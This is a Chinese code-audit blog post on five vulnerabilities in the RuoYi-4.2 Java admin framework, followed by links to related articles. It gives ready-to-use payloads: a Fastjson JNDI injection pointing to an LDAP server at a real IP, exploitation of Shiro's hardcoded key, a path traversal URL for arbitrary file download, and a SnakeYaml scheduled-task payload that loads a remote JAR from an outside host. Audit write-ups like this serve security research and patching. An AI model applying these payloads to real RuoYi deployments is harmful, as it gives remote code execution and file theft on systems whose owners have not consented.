【代码审计】RuoYi-4.2 五处安全问题分析

目录

Fastjson反序列化

Shiro反序列化

SQL注入

任意文件下载

定时任务命令执行


Fastjson反序列化

看到Fastjson版本号为1.2.60

全局搜.parseObject(

传参方式要注意一下,是对传入的Params先toJSONString,再parseObject

此外要过掉第一个if

GenConstants.TPL_TREE的值为"tree"

则要让genTable.getTplCategory()的值为"tree"

所以要这么设置下

validateEdit在/tool/gen/edit被调用

这个接口一眼顶真,锁定生成代码这部分功能点

先随便导入一个模块,点击编辑

成功抓上包

打入payload:

复制代码
params[@type]=org.apache.shiro.jndi.JndiObjectFactory&params[resourceName]=ldap://8.138.38.81:1338/#suibian

从1.2.25开始fastjson默认禁用autotype,方便起见我们改下代码

复制代码
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

此外jdk版本要小于8u121,Java 8u121+ 默认禁用了LDAP的远程代码加载

Shiro反序列化

存在shiro组件

依然硬编码密钥

勾选下AES GCM

成功RCE

SQL注入

项目用的是mybatis

全局搜${

后续过程和3.0版本的一致

【代码审计】RuoYi-3.0 三处安全问题分析

任意文件下载

/common/download路由被修了

/common.download/resource未做waf

但StringUtils.substringAfter截取Constants.RESOURCE_PREFIX之后的部分

即截取/profile后的部分

所以要这么构造

复制代码
/common/download/resource?resource=/profile/../../../../../../flag.txt

定时任务命令执行

关注定时任务功能点

本质是打个SPI

之前写过一篇文章:【Web】浅浅地聊SnakeYaml反序列化两条常见利用链

解析yaml用的是snakeyaml

复制代码
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://8.138.38.81:1337/yaml-payload.jar"]]]]')
相关推荐
dkbnull1 小时前
Spring Boot请求处理组件对比详解
java·spring boot
jun_bai1 小时前
Orthanc服务器使用java上传dicom影像文件
java·运维·服务器
顺风尿一寸1 小时前
记一次 Spring AOP 与定时任务引发的死锁排查
java
用户446139430271 小时前
从单体到微服务:我们项目的拆分思路和踩坑记录
java
TDengine (老段)2 小时前
TDengine 免费版说明
java·大数据·数据库·物联网·时序数据库·tdengine
码上有光2 小时前
异常和智能指针
java·大数据·c++·servlet·异常·智能指针
学计算机的计算基3 小时前
操作系统内存管理全解:虚拟内存、页表、COW、malloc、OOM一篇搞定
java·笔记·算法
tachibana23 小时前
hot100 前 K 个高频元素(347)
java·数据结构·算法·leetcode
万亿少女的梦1683 小时前
基于Spring Boot、Java与MySQL的网络订餐系统设计与实现
java·spring boot·mysql·系统设计·网络订餐
咩咩啃树皮11 小时前
第40篇:Vue3组件化开发精讲——组件拆分、复用、父子通信、工程化架构
java·前端·架构